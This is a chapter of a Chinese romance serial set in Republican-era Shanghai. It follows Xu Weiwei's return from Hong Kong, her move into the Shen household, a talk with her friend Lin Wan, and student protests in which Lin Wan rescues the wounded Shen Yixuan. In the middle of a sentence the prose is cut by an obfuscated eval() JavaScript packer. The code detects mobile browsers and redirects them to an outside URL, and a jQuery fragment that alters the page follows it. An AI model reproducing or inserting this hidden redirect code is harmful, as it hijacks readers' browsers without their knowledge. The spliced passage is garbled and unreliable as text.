早茶吃到一半，茶楼里的热气已经升到了最高处。
推车在桌缝间吱吱呀呀地穿行，蒸笼叠成小山，白汽从缝隙里涌出来，在吊灯下弥漫成一团一团暖融融的雾。
沈毅行夹起一只蛋挞，酥皮在筷子尖上微微颤了一下，金黄色的表面在晨光里泛着一层油亮的光——刚出笼的，还烫着。
就在这时，陈铭快步穿过那些推车和蒸笼的间隙。他的步子很急，但压得很低，皮鞋踩在旧木地板上几乎没有声响，像一个在波涛中穿行的水手，每一步都避开了浪头。
他在沈毅行身侧弯下腰，目光先扫了许薇薇一眼，然后落在沈毅行脸上。
“少帅，有消息了。”他的声音压得极低，低到只有三个人能听见，“码头那边解封了。有一艘货轮今天下午回申城，船主是熟人，愿意捎我们一程。”
沈毅行正在夹那只蛋挞，筷子在金色酥皮上方停了一瞬。
“爱丁堡呢？”
“那边的侦探传回消息，说史密斯的儿子托马斯·史密斯在剑桥考试期间失踪了。学校说他请了病假，但没有人知道他去了哪里。侦探还在排查他的行踪，但需要时间。”
沈毅行的筷子在蛋挞上方悬了片刻，然后放下来，搁在碟沿上。
他看向许薇薇。许薇薇正端着茶杯，指尖在杯壁上微微摩挲了一下，目光里带着一种沉静的判断，像在掂量两件东西的重量。
“那就先回申城。”她说，“等到爱丁堡那边的消息清楚了，再去也不迟。”
她低下头咬了一口虾饺，嚼了两下咽下去，又说：“而且，我也想林晚了。咱们先回去吧。”
沈毅行看着她低头咬虾饺时微微垂下的睫毛，在晨光里投下一小片扇形的阴影。
他点了点头：“好。那就先回申城。”
***
货轮是下午三点启航的。
船不大，甲板上堆着成捆的麻袋和铁皮箱，用粗麻绳捆得结结实实，边缘处露出深褐色的边角。船舱也不大，只有两个小隔间，但收拾得还算干净——床单是刚换过的，带着一股肥皂和阳光晒过的气味。
许薇薇站在船尾的栏杆边，海风迎面扑来，把她的头发吹散了几缕，贴在脸上。
她看着维多利亚港的轮廓一点一点地变小——先是那些高高低低的楼房开始模糊，像一幅被水晕开的水彩画；然后是山脊线变软，从锐利的剪影变成一条连绵的、起伏的曲线；最后，整座港岛彻底隐没在海天相接的那条线上，只剩下远处一点若有若无的灰蓝色的影子。
沈毅行走过来，站在她旁边，把一件深灰色的外套递给她：“海风大，穿上。”
许薇薇接过外套，没有立刻穿，只是攥在手里。衣料被海风吹得冰凉，边缘处还带着一点干燥的、皂角的气味。
沈毅行也没有催她。两个人并排站着，看着海面上那道正在缓慢变宽的金色光带——落日把云层烧成了橘红色，光线碎在海面上，像一条铺满了碎金子的路。
船在海上走了两天一夜。第三天清晨，申城码头的轮廓出现在海雾里。
许薇薇站在甲板上，看着那片灰蒙蒙的天际线，心里有一种说不出的感觉——像是回家，又不像。
海雾在晨光里泛着一种湿润的、透明的灰色，码头的轮廓从雾里一点一点地浮现出来——先是高高低低的吊臂，然后是仓库的屋顶，然后是栈桥和那些停在岸边的黄包车。
码头上人来人往。
挑夫扛着麻袋在栈桥上穿梭，扁担压弯了肩膀；黄包车的铃铛叮叮当当地响，车夫们扯着嗓子喊“让一让——让一让”；报童举着报纸从人群的缝隙里钻过去，声音尖利又清脆。
所有的声响混在一起，像一锅刚煮沸的水，热气腾腾的。
沈毅行的人已经在码头等着了，旁边停着那辆黑色的斯蒂庞克。引擎没有熄，排气管里冒出一缕缕白烟，在晨光里飘散成薄薄的一层雾。
车子穿过申城清晨的街道。
许薇薇靠在车窗边，看着窗外那些熟悉的街景——梧桐树的新芽正在冒头，枝丫上泛着一层嫩绿；旧骑楼的墙角爬满了去年留下的枯藤；红绿灯在十字路□□替亮着，灯罩上蒙着一层薄薄的灰；卖早点的铺子冒着白汽，油条在锅里翻滚，发出滋滋的声响。
她觉得自己离开了好几年，又好像只是做了一场梦。
车子在经过霞飞路时，忽然慢了下来。车轮碾过一段略有不平的路面，车身轻轻晃了一下。
许薇薇下意识地侧过头，看向那扇熟悉的大门。橱窗重新亮了起来——玻璃擦得干干净净，没有一丝指印。透过玻璃，能看见她过年前添置的新货架，摆得整整齐齐。
沈毅行从后视镜里看见她的目光，没有说话，只是让车速又慢了一些，然后才缓缓加速驶过。
***
车子在帅府门口停下来的时候，春兰已经站在台阶上等了。
她看见车门打开，快步迎上来，脸上满是欣喜。
“许小姐！老太太听说您今天回来，一大早就让厨房炖了汤，还说要亲自去门口接您。”
许薇薇走进去的时候，阳光正斜斜地照在正厅的门槛上，在青石地面上铺了一小块暖融融的金色。
老太太正坐在太师椅上，手里攥着一串佛珠，拇指在珠子上缓慢地捻动着。
看见她的那一瞬间，老太太攥着佛珠的手指松开了，整张脸都亮了起来，像一盏被人重新点亮了灯芯的旧灯笼，连眼角的皱纹都像是被光撑开了。
“毅行！薇薇！回来了！”
老太太站起来，走到许薇薇面前，拉住她的手，上上下下打量了一番。
“瘦了。又瘦了。香港那边是不是吃不惯？春兰！让厨房把炖好的汤端上来。先喝一碗暖暖胃。”
“老太太，我不饿——”
“不饿也得喝。你走了这些日子，我心里一直不踏实。”老太太说着顿了顿，声音低了一些，“你原先那间房，我一直让人收拾着，窗台上的文竹也还绿着。你住下来，给我好好讲讲，香港到底是什么样的！”
许薇薇低着头，看着那双干瘦的、布满老年斑的手，紧紧地攥着她，指尖在微微发颤。
“老太太，香港的见闻我待会儿就给你讲。但我一个人住着自在些，还是不打扰你们了。”
“不打扰。”沈毅行的声音从身后传来，“前院东厢和正厅隔了一整条游廊，你住那边，奶奶偶尔去看你，其余的谁也听不见你房里的动静。”
许薇薇回过头，瞪了他一眼，目光里带着几分恼意：“我怕别人听到什么动静？你闭嘴！”
“你住进来，奶奶高兴，小宝也高兴。”沈毅行的语气倒温和下来，像是在哄一个正在闹脾气的小孩子，“再说霞飞路刚恢复营业，人还不够多。你晚上一个人回去住，我也不放心。”
老太太把小宝推了出来。
小宝站在门槛前，仰着头，一双圆眼睛亮晶晶地看着许薇薇。
他穿着一件红色棉袄，领口还沾着一点墨渍，像是刚从书房跑出来的。
小手攥着衣角，声音又软又黏：“许老师，你住下来吧。我保证不吵你，你教我英文，我教你写字。你要是走了，二叔又要哭鼻子了。”
沈毅行在旁边清了清嗓子，但没有反驳。小宝的话像一块石头丢进平静的水面，在院子里激起一圈又一圈的涟漪。
许薇薇低下头，看着小宝那双眼巴巴的圆眼睛，嘴唇动了动，想说什么，又咽了回去。
窗台上那盆文竹的叶片在风里微微晃动，阳光从叶子的缝隙里漏下来，在窗框上投下一片细碎的、摇晃的光影。
她轻轻呼出一口气，像是放下了什么很重的东西。
“好。我住下。”
***
许薇薇住进帅府的前几天，一切都很安静。
她每天早起，先去老太太房里请安，陪老太太喝一碗粥，然后去照相馆开门。
下午回来，沈毅行在司令部忙，她就陪小宝在花园里背英文单词。
小宝是个聪明的孩子，学东西快，就是坐不住，背了十分钟就要追蚂蚱。
晚上偶尔和沈毅行一起吃饭。
他们之间的相处，多了一种以前没有过的松弛感——她不再需要防备他随时会越界，他也不再需要绞尽脑汁去想怎么靠近她。
她就住在走廊尽头那间朝南的房间里，窗台上那盆文竹确实还绿着，叶子在晨光里泛着一层油亮的光。
一个星期后，林晚回来了。
许薇薇坐在她们常约下午茶的咖啡馆等她，玻璃门被推开的时候，门铃发出清脆的声响，像一颗石子投进水面。
许薇薇抬起头，看见林晚穿着一件洗得发白的蓝布衫站在门口，扎着马尾，晒黑了一些。
两人对视了一瞬，许薇薇站起来，张开双臂。
林晚走过来，紧紧抱住她，下巴搁在她肩膀上，声音有些闷：“你怎么瘦了？”
“香港的东西吃不惯。”许薇薇拍了拍她的背，然后松开手，上下打量了她一番，“你倒是黑了不少。岭南的太阳比申城大？”
“大太多了。我回来那天，码头上的人都在看我，大概以为我是从南洋逃难回来的。”林晚在对面坐下来。
两人点了两杯热可可。杯子端上来的时候，窗外的暮色正在慢慢变浓，路灯一盏接一盏地亮起来，在灰蓝色的天幕下连成一条暖黄色的线。
“你住在香港住在哪里的？”林晚问。
“浅水湾饭店。房间朝南，能看到海。每天早上醒来，窗帘缝隙里透进来的光都是金色的。”
“你一个人住？”
“沈毅行住隔壁。”
林晚端起杯子喝了一口，目光从杯沿上方看着她：“隔壁？你确定他只是住在隔壁？”
“是隔壁。”许薇薇搅了搅杯中的可可，“但有一天早上……”
她的话停在那里，像一根线悬在半空中，不知道要不要接下去。
林晚没有说话，只是安静地等着。
“有一天早上，我醒来的时候，发现自己在他怀里。”许薇薇说这句话的时候声音很轻，像是在讲一件她自己也还在消化的事，“不是他偷偷跑进来的。是前一天晚上他旧伤复发，我照顾他到半夜，后来睡着了，不知道什么时候他把我抱到了床上。”
林晚没有打断她。
“我醒过来的时候吓了一跳，赶紧检查自己身上的衣服——睡袍系带是好的，裤子也穿得好好的。他什么都没做。”
“那你什么感觉？”
“我不知道。”许薇薇把目光从杯沿上移开，落在窗外一盏刚刚亮起的路灯上，“我以前觉得，如果有一天他靠近我，我会推开他。我试过很多次。但那天早上，我发现自己没有推开他。后来，他还把我的睡衣全脱掉了……不过终究我们没发生什么。”
“没推开，不是因为心软？不是因为当时他受伤了？”
“我也想过这些理由来安慰自己。”许薇薇低下头，手指在杯壁上慢慢摩挲了一圈，“但我后来想了想……那天早上我确实没有想要推开他。”
她顿了一下：“我让他抱了我一会儿。其实……我当时已经准备好……跟他……”
空气里安静了片刻。窗外的街灯把两个人的影子投在桌面上，斜斜的，叠在一起。
林晚放下杯子：“那你和他现在算什么？”
“他说，以后不管我在哪里，他都会找到我。不管发生什么事，他都不会离开我。但他要我信他一次，做他女朋友。”许薇薇把目光收回来，“我想给个机会，信他一次。”
“就一次？”
“就一次。”
两个人都没有再说话。只有那两杯热可可在慢慢变凉，表面凝起一层薄薄的膜，像两个刚刚合拢的伤口。
许薇薇低头搅了搅杯中的可可，忽然开口：“我准备去找医生拿点避孕药。你知道的，药店里那种，能避孕的。”
林晚愣了一下：“你跟他……你不是说没发生什么吗？”
“该发生的随时会发生，有些东西总要准备起来。”许薇薇的脸微微泛红，但声音还算平稳，“我是认真的。他也是认真的。既然做了这个决定，有些事就不能等发生了再说。”
“你想清楚了？”
“想清楚了。”许薇薇说，“我不想稀里糊涂地走到那一步。我想做好准备再往前走。”
林晚看着她，好一会儿没有出声。
“我知道申城有个女医生，在法租界开了间私人诊所，很谨慎。病人都是熟人介绍的，外面的人不会知道她诊所里进过谁。”林晚往前坐了坐，胳膊肘撑在桌沿，“如果有一天你需要去，我会陪你去。”
许薇薇笑了一下：“好。”
两个人继续喝那两杯已经凉了大半的热可可。窗外的路灯已经全亮了，在初春的暮色里泛着暖黄色的光，把长长的街道照得像一条铺满金砂的河。
“对了，”许薇薇忽然想起什么，“你刚才说，你在岭南被安排相亲了？相得怎么样？”
林晚往椅背上一靠，长出一口气：“别提了。我爹妈给我安排了六个，平均一天一个。有一个是做生意的，开口就是‘我家在省城有三间铺面’；有一个是教书的，聊了十分钟，都在讲他发表过的论文；还有一个……”她顿了一下，“是军官。看见我第一眼就说，你长得像我前妻。”
许薇薇被热可可呛了一下：“然后呢？”
“然后我就跑了。”林晚说得理直气壮，“我跟我爹妈说，我在申城已经有工作了，不想在岭南耽误时间。他们才放我回来。”
“那你回来之后，打算做什么？”
林晚想了想：“年前你说画室的事，还记得吗？你照相馆二楼改造的事，我想认真做。你什么时候有空，我带你去看二楼。墙都刷了一半了。”
“明天。”
“那就明天。”
两人相视笑了一下。
***
申城的春天，来得比往年更早，也更躁。
街上的学生就是在这个时候开始聚集的。
起初只是零零星星的几个——圣约翰大学的，复旦的，还有几个从南洋赶回来的年轻面孔，穿着洗得发白的衬衫，举着写着口号的木板，站在南京路的路口。
路过的行人偶尔侧目看他们一眼，但脚步没有停下。黄包车夫拉着车从他们身边经过，铃铛叮叮当当地响，车上的太太小姐掀开帘子一角，又放下了。
到了第三天，人就多起来了。队伍从南京路一路延伸到霞飞路，学生们的步伐整齐，口号喊得齐整又有力。
开头喊的还是“抗日救国”，慢慢地又掺进了“反对内战”“还我河山”。声音像一面被越敲越响的鼓，在申城灰蒙蒙的天幕下震动着。
第五天，码头的工人开始加入。他们穿着粗布短褂，手上还沾着卸货留下的黑灰，从十六铺的方向汇入人流。
紧接着是纱厂的女工、报馆的排字工、还有一些穿着长衫的教书先生。
队伍越走越宽，像一条慢慢涨潮的河，从人行道漫到马路上，再从马路漫到整条街。
巡捕房的人站在街角，警棍横在身前，黑皮鞋踩在柏油路面上，一动不动。
他们接到的命令是“维持秩序，不要动手”，所以他们就只是站着。但他们的手指是扣在警棍的握柄上的，目光紧紧盯着那些攒动的人头，像是猎人盯着随时可能突围的兽群。
第七天，沈毅行回到帅府的时候，已经是深夜十一点了。
他的军装还没换下来，领口的风纪扣解开了一颗，露出一截被汗浸得微湿的领子。
他推开房门，没开灯，一屁股靠在椅背上，闭着眼睛长长地呼出一口气。
那口气像是从胸腔最深处挤出来的，闷闷的，带着一连几天都没睡足的疲惫。
窗外的月光从窗帘缝隙里挤进来，在地板上画了一道细细的银线，落在他军靴的鞋尖上。
许薇薇端着茶进来的时候，他正坐在那里，整个人陷进椅背里。
她走过去，把茶放在他手边，低头看了一眼他的脸——眼底泛着一层灰青色的倦色，嘴唇发干，下巴上冒出了一层青黑色的胡茬，比平时长了不少。
“你几天没刮胡子了？”许薇薇在他旁边的椅子上坐下。
沈毅行睁开一只眼，看了她一眼：“顾得上刮胡子就好了。今天开了四个会，见了三个领事，还跟南京那边打了两个小时的电话。”
“游行的事很棘手？”
“北平那边一直在施压。”他闭着眼睛说，“说要派钦差来‘视察治安情况’——说什么视察，就是来查我们有没有跟乱党勾结。我爹那边也发了好几封电报来骂人，说申城的治安越来越不像话。”
许薇薇的手指在茶杯边沿上轻轻摩挲了一圈：“那你打算怎么办？”
沈毅行睁开眼，坐直了一些，端起那杯茶喝了一口：“抓一批，关一批，等风头过了再放。让他们在牢里待几天，知道疼了，就不敢再闹了。”
许薇薇沉默了一会儿。她看着杯子里浮沉的茶叶，像在想什么事情：“你想过没有，那些学生是真的想为这个国家做点事。”
“想过。”沈毅行把茶杯搁在桌上，靠回椅背，“但我不能让他们在申城出事。他们要是出了事，北平那边就有理由派人来了。我宁愿把他们关在自己的牢房里，也不想让他们落到北平特派员手里。”
他顿了一下，声音比刚才沉了几分：“看起来是我抓了他们，事实上我在保护他们。”
许薇薇看着他，夜色把他的轮廓磨得模糊了一些，那双眼睛里压满了无奈。
“那你抓了他们，他们真的会更安全吗？”
“比落在北平特派员手里安全。”沈毅行揉了揉太阳穴，“北平那边一直想往申城安插人手。学生闹出事，就是现成的借口。我宁愿被骂‘军阀镇压’，也不想让他们有借口派人来。进步学生当真落到北平手里，不是杀头就要坐牢。我可不愿意看到那个结局。伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666727|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
害进步学生的事，我做不到。”
***
林晚裹着一件旧灰布大衣，领口竖起来遮住半张脸，混在游行队伍里。
她本来只是想来看看情况的——陈铭下午在街上贴了告示，说司令部已经下令，任何参与游行的人都会被记录在案。她想确认一下，那些学生是不是真的还在往前走。
但站在巷口，看着那些年轻的面孔从她面前走过时，她还是跟了上去。
队伍很长，从南京路一路蜿蜒到法租界边缘。路灯昏黄，把一面面横幅的边角照得发亮，上面墨迹未干的大字在夜风里微微颤动。有人在喊口号，声音沙哑但有力，像一根绷紧的弦被反复拉动。
林晚走在队伍外侧，脚步不快不慢，像一个刚下班路过的人。
她的目光扫过人群——大多是年轻的面孔，额头上沁着薄汗，眼睛里有一种她很久没有见过的东西。说不上是愤怒还是期待，像一簇簇刚刚被点燃的火苗，在夜风里明明灭灭。
队伍走到法租界与华界交界的一个路口时，前方的空气忽然变了。
先是安静。那阵安静的来势很猛，像一道看不见的墙从前方推过来，把口号声、脚步声、旗帜翻飞的声音一并吸了进去。然后是一阵响亮的枪声，从前方传来，一连三响，在巷子里来回弹跳，像有人在铁皮屋顶上倒了一筐石子。
人群先是一愣，然后像被一只手猛地推了一下，瞬间炸开了。
有人在喊“散开！散开！”，有人在尖叫，有人转身就跑，脚步踩在石板路上发出沉重的闷响，像夏天的滚雷。横幅被踩在脚下，旗杆折断了，白布上那些墨迹未干的大字在混乱中被揉成一团。
林晚被人群裹挟着往前涌了两步，肩膀被人撞了一下，脚下一绊，膝盖磕在路沿上，一阵生疼从骨头深处钻出来。
她伸手撑住旁边一根电线杆，掌心按在冰凉生锈的铁皮上，借力稳住了身体。膝盖上火辣辣地疼，但她没有低头看，只是抓紧了电线杆，目光急速扫过前方那片混乱的人潮。
就在这时，她看见了那个年轻人。
他倒在不远处的路沿上，侧着身，一只手撑着地面，另一只手捂着左肩。路灯的光从他身后的方向照过来，把他的轮廓镀了一层薄薄的银边，也照亮了他肩头那一片正在迅速扩大的深色湿润。
他的脸上沾了灰，额头上有一道血痕，从眉骨延伸到发际线，血和汗混在一起往下淌，在下颌处汇成一滴，悬了一瞬，然后滴落在石板地面上，洇开一小片暗色的水渍。
但他没有喊疼。他只是咬着牙，试着撑着地面站起来，左肩的伤口牵动了他的动作，让他整个人僵了一瞬，像一张被拉到极限的弓。
林晚拨开人群冲过去，蹲下来：“你怎么样？”
那人抬起头看了她一眼，嘴角还残留着一丝试图压下去的抽动，像在忍着什么：“我没事……就是肩……被人撞了一下……”
林晚低头看了一眼他捂着左肩的那只手。指缝间已经渗出了血，暗红色的，在路灯下泛着湿润的光。袖口被染红了一小片，颜色正在从浅红变成深红，边缘还在缓慢地向外扩散。
“这叫没事？你肩膀在流血。”
她没有等他回答，侧过身，把他没受伤的那条胳膊架到自己肩上。他的手臂搭在她肩头的时候，她感觉到他身体的重心正在往她这边倾斜——他的腿在发抖，像一根被风吹了很久的枯枝。
“能走吗？”
“……能。”
“那就走。”
两个人绕过混乱的人群，拐进旁边一条窄巷。巷子很窄，只够两个人并肩，墙角堆着几只破旧的木箱，一扇后门上贴着褪色的春联，红纸已经泛白了，边角在夜风里微微卷起。
头顶的电线上挂着几件晾了一天的衣裳，衣角在昏暗的灯光里轻轻晃着，像一些沉默的影子。
林晚架着他走完了一条巷子。他的步子越来越沉，每一次落地的声音都像要把地面砸出一个坑来。她能感觉到他的呼吸贴在她耳侧，先是粗重的，然后开始变得浅而急促，像一只被按在水底的鸟在拼命挣扎着浮出水面。
出巷口的时候，年轻人脚下一绊，身体猛地一歪，额头重重撞在她后颈上，滚烫的，带着一层湿漉漉的汗。他整个人忽然往下坠，像一棵被锯断的树。
“喂！你醒醒！”
她撑住他，把他没受伤的胳膊从肩上拽下来，另一只手绕过他的后背，从腋下穿过去，扣住他另一侧的肩膀。他整个人的重量压在她身上，沉得像一袋湿透的沙子，她的膝盖弯了一下才重新站稳。
她半拖半背着他，走过最后一条街。路灯一盏一盏地从头顶掠过，把两个人的影子在地面上拉长又缩短。他的头垂在她肩窝里，呼吸又浅又急，温热的，带着一点铁锈般的腥气。
走到楼下的时候，她的两条胳膊酸得发麻。她用肩膀顶开楼道那扇沉重的木门，门轴发出一声拖长的呻吟。楼梯很窄，扶手冰凉，她的鞋底踩在水泥台阶上，每一步都像踩在棉花上。
到了二楼门口，她腾出一只手去掏钥匙，手指因为用力过度而微微发抖，捅了两下才插进锁孔。门开了，她把他架进去，轻轻地放在那张旧藤沙发上。
他倒下去的时候，眉头皱了一下，但没有睁开眼。呼吸还是浅的，但比在巷子里的时候稳了一些，像一只终于靠了岸的船，在水面上轻轻地晃荡。
林晚站在沙发边上，低头看着他那张被汗水和灰尘糊住的脸，忽然觉得他的年纪比她想象的要小。年轻，大概二十出头。眼睛闭着的时候，眉宇间的那道竖纹还没有完全展开，像一扇正在被轻轻推开一半的门。
她转身走进厨房，拧开水龙头，冷水冲刷过她的手指，指缝里那些暗红色的痕迹顺着水流旋转着消失在出水口。
客厅里传来一声极轻的呻吟，然后是含混不清的、带着浓重鼻音的一句话：“我……我没事……你别……”
林晚关掉水龙头，走回沙发前蹲下来，把浸了热水的毛巾覆在他额头上，替他擦去那些干涸的血痕和汗水。他像是被这动作惊醒了，眼皮微微动了一下，但没有睁开，只是嘴唇翕动着，又吐出一句含混的话：“你别管我……”
声音很轻，带着一种几乎让人不忍心拒绝的固执。
林晚没有回答，只是把毛巾翻了个面，擦了擦他的下巴和脖颈。
“你是学生？哪个学校的？”
“圣约翰……”
“圣约翰大学？”
“……是。”他闭上眼，呼吸又浅又急，像一只被雨淋透了的鸟，每吸一口气都像是从胸腔深处艰难地往外挤。
额角的汗顺着太阳穴往下淌，滑过那道还渗着血珠的划痕，在煤油灯的光里泛着一层湿润的亮。
林晚没有再追问，从抽屉里翻出紫药水和一卷干净的纱布，动作比刚才快了些，像是不想让他再多受一秒罪。
紫药水涂上去的时候，他终于没忍住，发出一声压在喉咙深处的闷哼，像一只被掐住脖颈的幼兽，在黑暗里挣扎着发出最后一点声响。
林晚的手顿了一下，但没有停，她迅速把纱布覆上去，缠了两圈，用胶布固定住边缘。
“好了。”她直起身，把沾了血的毛巾扔进盆里。她蹲回沙发前，看着他那张汗湿的、被煤油灯照得半明半暗的脸：“你叫什么名字？”
“……沈毅轩。”
林晚的手停在半空中。她盯着他看了好几秒，像是在确认这个名字和自己的记忆有没有对得上：“申城警备司令部沈家的老三？”
“……是。”
林晚慢慢直起身来，站了许久，又在他对面的椅子上坐下：“你跟许薇薇认识？”
沈毅轩被那目光盯得有些发毛，但虚弱让他来不及想太多：“她是我二哥的女朋友……你是她的朋友？”
“算是。”林晚把垂到脸侧的一缕碎发别到耳后，“你为什么不回帅府？你受伤了，应该回家养伤。你家里肯定有军医伺候的。”
“我不能……”他闭上眼，像是在积蓄最后一点力气，“我参加游行……不能让家里知道。”
“你家里人不知道？那你现在受伤了，打算怎么办？”
“先住你这里，等伤好了就走。我有钱，我会付你食宿费用的，你就收留我几天，行不行？”
林晚笑了一下：“原来你这么怕家里知道。你就不怕我跟你二哥告密？他正在悬赏抓革命党呢。你应该值不少钱。”
沈毅轩侧过头来，目光穿过额前被汗浸湿的碎发，落在她脸上。
他的嘴角浮起一丝很淡的、带着疲惫的笑意：“你不会的。你要是想告密，刚才就不会救我。我能看出来，你也是个进步人士。”
林晚没有接话，站起来，转身走进厨房，拿了一只搪瓷杯放进一撮茶叶，热水冲下去，茶叶在杯底翻卷着舒展开来。
她端着那杯茶走回客厅，放在他手边的茶几上。
“今晚你先睡沙发。”她的声音从窗口的方向传来，不轻不重，“明天再说。”